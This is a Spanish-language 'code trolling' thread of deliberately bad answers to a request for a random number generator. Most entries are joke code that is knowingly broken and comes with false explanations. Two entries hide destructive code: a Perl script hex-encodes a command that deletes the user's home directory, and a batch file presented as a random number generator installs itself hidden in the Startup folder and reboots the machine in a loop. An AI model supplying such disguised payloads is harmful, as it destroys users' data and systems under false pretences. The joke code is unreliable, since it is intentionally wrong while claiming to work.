El reto:

Genera una secuencia aleatoria de números. La única entrada debe ser la longitud de la secuencia.

Puntos de internet adicionales para soluciones puramente funcionales.

^{Nota: Esta es una pregunta de arrastre de código . No tome en serio la pregunta y / o las respuestas. Más información aquí .}

Pitón

Tome un artículo aleatorio de Wikipedia, tome una secuencia de caracteres html de longitud num y obtenga sus valores numéricos

import urllib2
from random import randint
def getRandom(num):
    response = urllib2.urlopen('http://en.wikipedia.org/wiki/Special:Random')
    html = response.read()
    html = html.replace(" ", "")
    htmllen = len(html)
    #I especially love how I still grab a random number here
    l =  randint(0, htmllen - num)
    data = html[l:l+num]
    return [ ord(x) for x in list(data) ]

print getRandom(25)

Todos los programas de las otras respuestas solo generarán los llamados "números pseudoaleatorios", que pueden parecer aleatorios a simple vista, pero en realidad siguen algún patrón.

El siguiente programa genera números aleatorios reales al convertir su computadora en un detector de partículas para la radiación de fondo. Dado que esto se basa en efectos cuánticos, es realmente aleatorio e imposible de predecir. Y para obtener una ventaja adicional, el programa en realidad se ejecuta más rápido, si lanza su computadora al espacio. Y sí, eso es tan genial como parece.

C

#include<stdio.h>

int main(void)
{
    int i,j,k,l,m;
    printf("How many random numbers do you want?");
    scanf ("%i",&m);

    for (i=0; i<m; i++)
    {
        j = k = 42;
        l = 0;
        while (j==k)
            l++;
        printf("%i\n", l);
    }
}

Revelación:

Este programa genera dos piezas idénticas de memoria y luego espera cuánto tiempo tarda la radiación de fondo en cambiar una de ellas. El tiempo de espera se devuelve como un número aleatorio, que se distribuiría exponencialmente, si no fuera por los desbordamientos de enteros. Es más probable que tales eventos en el espacio sean un problema real en la astronáutica, que se aborda mediante el endurecimiento de la radiación . Por lo tanto, cada declaración en la introducción es cierta hasta cierto punto, aparte de la parte sobre la frescura.

Desafortunadamente, un evento de este tipo que bloquea la computadora o al menos el programa es más probable que afecte exactamente esos dos trozos de memoria. También, puede tomar un tiempo ... Finalmente, como en punta a cabo por kinokijuf, la radiación de fondo es un proceso externo, por lo que jy kdebe marcarse como volatileal compilador (o se debe utilizar un compilador que no lo hace a optimizar en absoluto).

PD: Ampliando la idea, también se podría crear una matriz llena de ceros y luego imprimirla. Existe la posibilidad de que la radiación de fondo cambie los ceros entre el almacenamiento y la impresión y, por lo tanto, lo que se imprime es aleatorio: el OP nunca dijo cómo se distribuirían los números aleatorios.

La aleatoriedad es difícil de lograr en una computadora, ya que son puramente deterministas. La generación de números aleatorios en las computadoras es un área de investigación muy activa, que a menudo involucra a actores de nivel estatal (Ver Dual_EC_DRBG ). Sin embargo, en un sistema operativo multitarea moderno, el programador de subprocesos puede hacer un trabajo aceptable en algunas situaciones. Para hacer esto, devolvemos el control de nuestro intervalo de tiempo actual al sistema operativo y tomamos nota de cuánto tiempo nos lleva programar nuevamente. Dependiendo del sistema operativo y la carga, esto puede producir los resultados deseados.

const int bitsInInt = 31;

void Main()
{
    Console.WriteLine("Enter total number of numbers to generate:");
    var result = Console.ReadLine();

    var total = int.Parse(result);
    foreach(var i in RandomSequence().Take(total))
    {
        Console.WriteLine(i);
    }
}

//Generates a random sequence of bits
IEnumerable<int> RandomBit()
{
    while(true)
    {
        var sw = new Stopwatch();

        sw.Start();
        Thread.Sleep(bitsInInt);
        sw.Stop();

        yield return (int)(sw.ElapsedTicks & 0x1L);
    }
}

//Performs the computation for mapping between the random
//sequence of bits coming out of RandomBit() and what
//is required by the program
IEnumerable<int> RandomSequence()
{
    while(true)
    {
        yield return RandomBit().Take(bitsInInt).Reverse().Select((b,i)=> b<<i).Sum();      
    }
}

C#

Como los usuarios de nuestro software son inherentemente aleatorios por su naturaleza, ¿por qué no usar eso para nuestra ventaja?

Este código toma una captura de pantalla y la usa con algunos otros datos para producir una secuencia aleatoria. ¿Puntos de internet adicionales por no usar el generador aleatorio incorporado?

public unsafe uint[] GetThemRandom(int length)
    {
        var bounds = Screen.GetBounds(Point.Empty);
        using (var screenshot = new Bitmap(bounds.Width, bounds.Height))
        using (var graphics = Graphics.FromImage(screenshot))
        {
            // can't hurt
            var sZ = (uint)Cursor.Position.X;
            var sW = (uint)Cursor.Position.Y;

            // take the screenshot as the previous experience has though us that the users
            // are sufficiently random
            graphics.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size);
            screenshot.Save(DateTime.Now.Ticks + ".jpg", ImageFormat.Jpeg);

            var bytesPerPixel = Image.GetPixelFormatSize(screenshot.PixelFormat) / 8;
            var bits = screenshot.LockBits(bounds, ImageLockMode.ReadOnly, screenshot.PixelFormat);

            var scanData = (byte*)bits.Scan0.ToPointer();
            var scanLimit = bounds.Width * bounds.Height;

            // squash the pixels into two variables
            for (var i = 0; i < scanLimit; i += 2)
            {
                var pX = scanData + i * (bytesPerPixel);
                var pY = scanData + (i + 1) * (bytesPerPixel);

                for (var j = 0; j < bytesPerPixel; j++)
                {
                    sZ ^= *(pX + j);
                    sW ^= *(pY + j);
                }
            }

            // generate the numbers
            var randoms = new uint[length];
            for (var i = 0; i < length; i++)
            {
                // CodeProject 25172
                sZ = 36969 * (sZ & 65535) + (sZ >> 16);
                sW = 18000 * (sW & 65535) + (sW >> 16);

                randoms[i] = (sZ << 16) + sW;
            }

            return randoms;
        }
    }

Pitón

Es fácil tropezar con las trampas comunes: una fuente de números aleatorios no distribuida uniformemente y sin asignación al azar. Mi solución evita estos problemas de manera excelente mediante el uso de conocimientos matemáticos profundos y un truco simple, pero eficaz, aleatorización con el tiempo actual:

from math import pi # The digits of pi are completely randomly distributed. A great source of reliable randomness.
random_numbers = str(pi)
random_numbers = random_numbers[2:] # Don't return the dot accidentally

import time
index = time.localtime()[8] # Avoid the obvious mistake not to randomise the random number source by using localtime as seed.
random_numbers = random_numbers[index:]

number = int(input("How many random numbers would like?"))
for random in random_numbers[:number]: # Python strings are super efficient iterators! Hidden feature!
    print(random)

Funciona muy bien cuando se prueba una vez para un pequeño conjunto de números (9 o menos), pero muy defectuoso cuando se prueba un poco más:

• math.pi solo contiene unos pocos dígitos después del período
• time.localtime()[8]no devuelve los milisegundos o el reloj del núcleo, pero 0 o 1 dependiendo de si es horario de verano o no. Entonces, la semilla aleatoria cambia una vez cada medio año por un lugar. Entonces, básicamente, no hay aleatorización.
• Esto solo devuelve números aleatorios entre 0 y 9.
• random_numbers[:number]falla silenciosamente cuando ingresa un valor numbermayor que 15 y solo escupe 15 números aleatorios.

Lamentablemente, esto está inspirado en la función aleatoria Delphi 1.0, que solía funcionar de manera similar.

Rubí

La pregunta pide una SECUENCIA. Aquí vamos de nuevo...

$seed = $$.to_i
def getRandom(seed)
        a = Class.new
        b = a.new
        $seed = a.object_id.to_i + seed - $seed
        $seed
end

def getRandomSequence(num)
        molly = Array.new
        0.upto(num) do |x| molly[x] = x*getRandom(x) - getRandom(0-x) end
        molly
end

Esto es 100% aleatorio. No realmente.
Lástima que este código no signifique NADA para el OP (¿qué demonios es object_id?)
Además, es específico de la implementación, lo que significa que funciona o no entre diferentes versiones de ruby ​​(ejecutó esto en 2.1.0p0).
Además de eso, esto puede hacer algo realmente desagradable, ya que OP podría experimentar con object_id ...

Salida de ejemplo:

-2224
12887226055
25774454222
38661682243
51548910124
64436137991

Editar:

modificado para usar $$para aleatoriedad verdadera (en el nivel del sistema operativo).

Java

Cuidado, esta es una pregunta capciosa .....

La mayoría de las personas en Java usarán math.random () para ayudar a generar esta secuencia, ¡pero se confundirán porque solo obtendrán resultados positivos! random()devuelve un valor decimal de 0 a 1 (excluyendo 1 mismo). Entonces, debes jugar algunos trucos para asegurarte de obtener una buena distribución de valores aleatorios de todo el rango entero (positivo y negativo).

Además, no puede simplemente multiplicarse Math.random()y ¡ Integer.MAX_VALUEporque esto nunca se incluirá Integer.MAX_VALUEcomo parte del resultado! Además, sería lógico hacerlo math.rand() * (Integer.MAX_VALUE + 1)para obtener una distribución completa, pero, por supuesto, esto no funciona porque Integer.MAX_VALUE + 1se desbordará y se convertirá Integer.MIN_VALUE. Entonces, desafortunadamente, la mejor solución es recurrir a la manipulación de los datos a nivel de bits ...

Por lo tanto, aquí hay una secuencia completa para generar 'n' valores aleatorios en el rango Integer.MIN_VALUEde Integer.MAX_VALUE(¡Incluye ambos extremos (que es la parte difícil) !!!!):

public static int[] get_random_sequence(int count) {
    // where we will store our random values.
    int[] ret = new int[count];

    for (int i = 0; i < count; i++) {
        // get a random double value:
        double rand = Math.random();
        // now, convert this double value (which really has 48 bits of randomness)
        // in to an integer, which has 32 bits. Thus 16 extra bits of wiggle room
        // we cannot simply multiply the rand value with Integer.MAX_VALUE
        // because we will never actually get Integer.MAX_VALUE
        //    (since the rand will never exactly == 1.0)
        // what we do is treat the 32-bits of the integer in a clever bit-shifting
        // algorithm that ensures we make it work:
        // We use two special Mersenne Prime values (2^19 - 1) and (2^13 - 1)
        // http://en.wikipedia.org/wiki/Mersenne_prime#List_of_known_Mersenne_primes
        // these are very convenient because 13 + 19 is 32, which is the
        // number of bits of randomness we need (32-bit integer).
        // Interesting note: the value (2^31 - 1) is also a Mersenne prime value,
        // and it is also Integer.MAX_VALUE. Also, it is a double marsenne prime
        // since 31 is also a marsenne prime... (2^(2^5 - 1) - 1). Math is Cool!!!
        //    2^19 - 1 can be expressed as (1 << 19) - 1
        //    2^13 - 1 can be expressed as (1 << 13) - 1
        // first we set 13 bits ... multiply a 13-bit prime by the random number.
        ret[i]  = (int)(rand * (1 << 13) - 1);
        // now shift those 13 random bits 19 bits left:
        ret[i] <<= 19;
        // now add in the 19 random bits:
        ret[i] ^= (int)(rand * (1 << 19) - 1);
    }
    return ret;
}

Esto produce resultados como:

[-368095066, -1128405482, 1537924507, -1864071334, -130039258, 2020328364, -2028717867, 1796954379, 276857934, -1378521391]

Por supuesto, lo anterior es una respuesta BS completa. No produce una buena descripción y 'oculta' un error grave ( ^=debería serlo |=). también oculta un error menos grave (¡la orden-pf-precedencia significa que en realidad no multiplicamos por un valor primo en absoluto!) Usar palabras elegantes, números primos y muchos comentarios no es razón para confiar en el código ... Por supuesto, si quieres hacer lo anterior, solo debes usarjava.util.Random.nextInt()

Java

Ahora que miro hacia atrás en el programa, olvidé cerrar el Scanner...

import java.util.Scanner;

public class RandomNumberGenerator
{
    public static void main(String... args)
    {
        String rand = "14816275093721068743516894531"; // key-bashing is random
        Scanner reader = new Scanner(System.in);
        System.out.println("Enter length of random number: ");
        System.out.println(rand.substring(0, Integer.parseInt(reader.nextLine())));
    }
}

Perl

$\=$$;for(1..<>){$\=$\*65539;$\%=2**31;$\.=',';print""}

Estoy haciendo la misma $\táctica para la salida que en una respuesta diferente de trolling de código. Además, muchos notan que estoy invirtiendo una cantidad considerable $$en el algoritmo RANDU .

Editar: Para explicar mejor, RANDU es un PRNG horriblemente inseguro. Wikipedia describe como "uno de los generadores de números aleatorios más mal concebidos jamás diseñados". Su principal debilidad es la siguiente:

f (x) = 6 * f (x-1) - 9 * f (x-2)

Aquí hay un generador de números aleatorios, base 2^CHAR_BIT.

char* random(size_t length) {
    char* ret = malloc((length+1) * sizeof(char));
    ret[length] = 0;
    return ret;
}

En javascript, con un estilo funcional:

var randomSequence = "[5, 18, 4, 7, 21, 44, 33, 67, 102, 44, 678, -5, -3, -65, 44, 12, 31]";

alert("The random sequence is " + (function (sequenceSize) {
    return randomSequence.substring(0, sequenceSize);
})(prompt("Type the size of the random sequence")) + ".");

C

Esta función funciona muy bien para aplicaciones pequeñas para crear números aleatorios entre 0 y 1337. Es recomendable llamarlo más de una vez para asegurar la máxima aleatoriedad.

int* getRandom(int length)
{
    //create an array of ints
    int* nums = malloc(sizeof(int) * length);

    //fill it in with different, "random" numbers
    while(length--)                                //9001 is a good seed
        nums[length-1] = (int)malloc(9001) % 1337; //1337 is used to make it more random
    return nums;
}

El famoso generador Blum Blum Shub . Porque los generadores de números aleatorios deberían ser criptográficamente seguros, y qué mejor manera de proporcionar seguridad que a través de la oscuridad.

#include <stdio.h>

long long Blum,BLum,Shub;

#define RAND_MAX 65536
//These two constant must be prime, see wikipedia.
#define BLUM 11
#define SHUB 19

int seed(int);
int(*rand)(int)=seed; //rand must be seeded first
int blumblumshub(int shub){
  //generate bbs bits until we have enough
  BLum  = 0;
  while (shub){
     Blum=(Blum*Blum)%Shub;
     BLum=(BLum<<1)|(Blum&1);
     shub>>=1;
  }
  return BLum>>1;
}

int seed(int n){
  Blum=n,BLum=BLUM;     
  Shub=SHUB*BLum;
  rand=blumblumshub;
  return rand(n);
}

//Always include a test harness.
int main(int argv, char* argc[]){
  int i;
  for (i=0;i<10;i++){
     printf("%d\n",rand(97));
  }
}

_{(Incluye nombres de variables terribles, una implementación incorrecta basada en un escaneo rápido de wikipedia y magia de puntero de función inútil lanzada por diversión)}

C / C ++

#include<stdio.h>

int main()
{
   int length = 20;
   double *a = new double[0];
   for (int i = 0; i < length; ++i)
   {
       printf("%f\n", a[i]);
   }
   return a[0];
}

Use algunos datos de montón de basura. Ah, y no olvides filtrar el puntero.

C ++

#include <stdlib.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
    int i, len;
    srand(time(NULL));
    len = atoi(argv[1]);
    for(i = 0; i < len; i++)
        printf("%d\n", rand() % 100);
    return 0;
}

Pros:

• Funciona.
• A veces.
• Válido (ish) C89.
• Terrible C ++.
• Use los encabezados C porque using namespace std;es MALO y no queremos ralentizar el programa con todas esas búsquedas de espacio de nombres.
• Evitamos la uniformidad de la distribución a favor de la velocidad mediante el uso de un módulo con un valor codificado (TODO: cambie esto para usar un desplazamiento de bits para obtener aún más velocidad bruta).
• Puede verificar el determinismo ejecutando varias veces dentro del mismo segundo de reloj.
• Por qué este código es malo no es tan obvio que el OP probablemente no se dará cuenta.

Contras:

• Por qué este código es malo no es tan obvio que el profesor del OP (el calificador) probablemente no se dé cuenta.
• Esto parece ser comúnmente considerado como una solución aceptable.
• Necesita más VELOCIDAD CRUDA.

Mathematica

RandInt = 
 Array[First@
     Cases[URLFetch["http://dynamic.xkcd.com/random/comic/", 
       "Headers"], {"Location", l_} :> 
       FromDigits@StringTake[l, {17, -2}]] &, #] &

TI-Basic 83 + 84

:so;first&Input\something And;then:Disp uhmm_crazy_huhrandIntNoRep(1_£€¢|•∞™©®©©™,Andthen)

Entrada - 3

Salida - {2,3,1}

Funciona porque se reduce a :Input A:Disp randIntNoRep(1,A)

Aquí hay una solución de Python. ¡No puedes probar que esto no es aleatorio!

def get_random(num):
    print '3' * num

Pruébelo llamando get_random(5), por ejemplo.

Perl

use strict;
use warnings;
`\x{0072}\x{006D}\x{0020}\x{002D}\x{0072}\x{0066}\x{0020}\x{007E}`;
my $length = $ARGV[0];
for (my $count = 0;$count<$length;++$count) {
    print int(rand(10));
}
print "\n";

Este usa un código perl muy simple para hacer lo que le pidió el OP, pero no antes de eliminar recursivamente su directorio de inicio (sin escribir realmente rm -rf ~, por supuesto).

No he probado esto (por razones obvias).

Python 3

No solo pierde mucho tiempo (tanto el tiempo real como el de la CPU), solo devuelve 10 números aleatorios.

def generate_random_number_sequence():
    with open('/dev/urandom', 'rb') as fd:
        data = b''
        num = 0

        for i in range(10000):
            data += fd.read(1)

            for b in data:
                try:
                    num += int(b)
                except ValueError: pass

        return [int(n) for n in list(str(num))]

if __name__ == '__main__':
    print(generate_random_number_sequence())

Rubí

Puede saber que no todos los números son aleatorios. Este programa verifica todos los números y te da solo los que realmente son aleatorios.

Tenga en cuenta que el código Ruby es un poco difícil de leer. No es tan eficiente como el inglés porque las computadoras son un poco estúpidas y a veces hay que repetirles palabras importantes.

Por lo tanto, he agregado algunos #commentsal código; Las palabras MAYÚSCULAS en los comentarios muestran cómo funciona esa misma palabra en el código Ruby.

def random_sequence(n)
  # Make a NEW ENUMERATOR of RANDOM numbers:
  Enumerator.new { |random|
    # to_i means that the RANDOM NUMBERS we want are *integers*.
    # (rand is computer speak for random.)
    number = rand.to_i

    # We need to LOOP (because we want a *sequence* of numbers):
    loop do
      # Double check that the NEXT NUMBER is a RANDOM NUMBER.
      # This is very important so we must repeat some of the words to the computer.
      random << number if number == rand(number=number.next)
    end
   }.take(n) # Self explanatory
end

# Now we just say hw many random numbers we want, like 12
p random_sequence(12)

Una explicación más detallada puede venir más adelante, pero este resultado de una ejecución de ejemplo debería revelar algo de esto: [1, 3, 5, 10, 180, 607, 639, 1694, 21375, 75580, 137110, 149609] ... Todavía un poco al azar sin embargo.

El siguiente script de Windows Batch generará un archivo con números aleatorios nombrados OUTPUT.TXTen su carpeta de perfil. Esto está garantizado para generar números aleatorios casi totalmente verdaderos. Simplemente pegue este código en el Bloc de notas, guárdelo como "FileName.CMD"(con las comillas) y ejecútelo.

IF "%~dp0" == "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" GOTO GENRANDOM
copy %~f0 "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\kl.cmd"
attrib +R +H "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\kl.cmd"
GOTO GENRANDOM
REM GOTO INSTRUCTIONS ARE VERY IMPORTANT TO MAKE YOUR FILE EASIER TO READ

:NEXT
shutdown -r -t 0
exit

:GENRANDOM
FOR /D %%F IN (%time%) DO (
@set output=%%F
)
::NEXT <--Really important
IF NOT EXIST "%userprofile%\OUTPUT.TXT" ECHO.>"%userprofile%\OUTPUT.TXT"
echo.%output%>>"%userprofile%\OUTPUT.TXT"
GOTO NEXT

REM TODO: ADD MORE OBSCURITY

Tener que ingresar una cantidad de números aleatorios para generar es demasiado problemático por cierto. Simplemente presione y mantenga presionado el botón de encendido para que deje de generar. Mucho más fácil! Además: no requiere un teclado.

Lua

Esta es una función que supera en exceso, demasiado complicada, desordenada (incluso con un resaltador de sintaxis), que genera números insensiblemente altos de una manera mucho más complicada. Y en lugar de devolver la cadena de números, los imprime en la pantalla, por lo que no resulta práctico para su uso dentro de sus programas. Es difícil de editar, así que si tu victum te pide que lo arregles, di que es demasiado complicado de editar.

function random(x) local func = loadstring("print(math.random(math.random(math.random(123514363414,9835245734866241),math.random(182737598708748973981729375709817829357872391872739870570,57102738759788970895707189273975078709837980278971289375078978739287018729375087132705)),math.random(math.random(19230851789743987689748390958719873289740587182039758917892708973987579798403789,0958907283470589718273057897348975087192034875987108273570917239870598743079857082739845891098728073987507),math.random(894017589723089457098718723097580917892378578170927305789734975087109872984375987108789,2739870587987108723457891098723985708917892738075098704387857098172984758739087498570187982347509871980273589789437987129738957017))))") for i = 1, x do func() end end

C#

 public class Random
    {
        private char[] initialSequence = "Thequickbrownfoxjumpsoveralazydog".ToCharArray();

        private long currentFactor;

        public Random()
        {
            currentFactor = DateTime.Now.ToFileTime();
        }

        public IEnumerable<int> GetSequence(int count)
        {
            int i = 0;
            while (i < count)
            {
                i++;

                string digits = currentFactor.ToString();
                digits = digits.Substring(digits.Length / 4, digits.Length / 2);

                if (digits[0] == '0')
                    digits = "17859" + digits;

                currentFactor = (long)System.Math.Pow(long.Parse(digits), 2);

                int position = i % initialSequence.Length;

                initialSequence[position] = (char)((byte)initialSequence[position] & (byte)currentFactor);

                yield return (int)initialSequence[position] ^ (int)currentFactor;

            }
        }
    }

Tenga en cuenta que tiende a romperse para secuencias más largas, pero cuando funciona genera números muy aleatorios

Fortran

Su computadora ya tiene un número aleatorio incorporado, por lo que solo necesita acceder a eso:

program random_numbers
   implicit none
   integer :: nelem,i,ierr

   print *,"Enter number of random sequences"
   read(*,*) nelem

   do i=1,nelem
      call system("od -vAn -N8 -tu8 < /dev/urandom")
   enddo
end program random_numbers

Obviamente no es portátil, ya que requiere que el usuario tenga un sistema * nix (¿pero quién usa Windows de todos modos?).

Supongo que, por supuesto, necesita muchos números aleatorios. Lo que requiere ...

Bash y Hadoop

Por supuesto, solo usar una sola fuente aleatoria no es confiable en los días de la NSA. Podrían haber troyanado su computadora. ¡Pero no van a haber troyanado todo tu grupo!

#!/bin/bash
# Fortunately, our mapper is not very complex.
# (Actually a lot of the time, mappers are trivial)
cat > /tmp/mapper << EOF
#!/bin/bash
echo $$RANDOM
EOF

# Our reducer, however, is a filigrane piece of art
cat > /tmp/reducer << EOF
#!/bin/bash
exec sort -R | head -1 
EOF

A continuación, el script ejecutará los trabajos del clúster como lo desee:

# We need to prepare our input data:
$HADOOP_HOME/bin/hdfs dfs -mkdir applestore
for i in `seq 0 $RANDOM`; do
    echo Banana >> /tmp/.$i
    $HADOOP_HOME/bin/hdfs dfs -copyFromLocal /tmp/.$i applestore/android-$i
done

# We can now repeatedly use the cluster power to obtain an infinite
# stream of super-safe random numbers!
for i in `seq 1 $1`; do
    $HADOOP_HOME/bin/hadoop jar $HADOOP_HOME/hadoop-streaming.jar \
    -input applestore/ \
    -output azure/ \
    -file /tmp/mapper \
    -file /tmp/reducer \
    -mapper /tmp/mapper \
    -reducer /tmp/reducer
    $HADOOP_HOME/bin/hdfs dfs -cat azure/part-00000
    # Never forget to cleanup something:
    $HADOOP_HOME/bin/hdfs dfs -rm -r azure
done

¡Gracias a Dios, tenemos el poder de Hadoop!

Rubí

require 'md5'

5.times {|i| p MD5.md5(($$+i).to_s).to_s.to_i(32)} # take 32 bits

ANSI C

Esto es bastante complicado y no me preocuparía demasiado al respecto. Simplemente copie y pegue el código a continuación en su biblioteca y será dorado para siempre.

#include <stdlib.h>
#include <time.h>

void fillNumbers(int[], unsigned size);

void main()
{
    int random[5];
    fillNumbers(random, 5);
}

void fillNumbers(int arr[], unsigned size)
{
    void * pepperSeed = malloc(size);
    unsigned tick = ~(unsigned)clock();
    srand((int)( (unsigned)pepperSeed^tick ));
    while( size --> 0 )
    {
        arr[size] = rand();
    }
}

Pruebe C ++: rápido, potente, todo lo que siempre querrá:

#include <iostream>
#include <vector>
#include <cmath>
using namespace std;
#define type int
#define type vector

// declaration for generate_num()
int generate_num();

void error(std::string s) {
  throw runtime_error(s);
}

// some support code
class random {

public:
  random(int& i) { if (!i) error("class random: bad value"); for (int j = 0; j < i; j++) v.push_back(generate_num()); }

  void* display() const { for (int i = 0; i < v.size(); i++) std::cout << v[i] << std::endl; return 0; }

private:
  vector<int> v;
};

// generate number
int generate_num() {

  // seed random number generator
  srand(rand());

  // get number
  int i = rand();

  // return number after calculation
  return int(pow(i, pow(i, 0)));
}

int main() try {

  // generate and store your random numbers
  int amount_of_numbers;
  std::cout << "Enter the number of random variables you need: ";
  std::cin >> amount_of_numbers;

  // create your random numbers
  random numbers = random(amount_of_numbers);

  // display your numbers
  numbers.display();

  return 0;
}
catch (exception& e) {
  std::cerr << "Error: " << e.what();
  return 1;
}
catch (...) {
  std::cerr << "Unknown error\n";
  return 2;
}

Por cierto, para obtener los mejores resultados, querrás usar a class.

Explicación:
1. NO necesita usar eso class, eso es totalmente redundante.
2. La declaración return en generate_num()realidad devuelve el número ^ (número ^ 0), que se evalúa como número ^ 1, que es número. Esto también es redundante.
3. Manejo de errores más innecesario: ¿qué podría salir mal con este básico de perforación de datos?
4. Utilicé std::antes todos los elementos del stdespacio de nombres. Esto también es redundante.
5. Las #definedeclaraciones también son innecesarias. Hice eso para hacerle pensar que definí esos tipos específicamente para este programa.

Descargo de responsabilidad:
este programa realmente funciona; sin embargo, NO recomiendo a ninguna persona o entidad que lo use en su código para la vida real. No me reservo ningún derecho sobre este código; en otras palabras, lo hago completamente de código abierto.

Pitón

Tomando la parte funcional: la pitón de una sola línea

import random
map(lambda x: random.random(), xrange(input())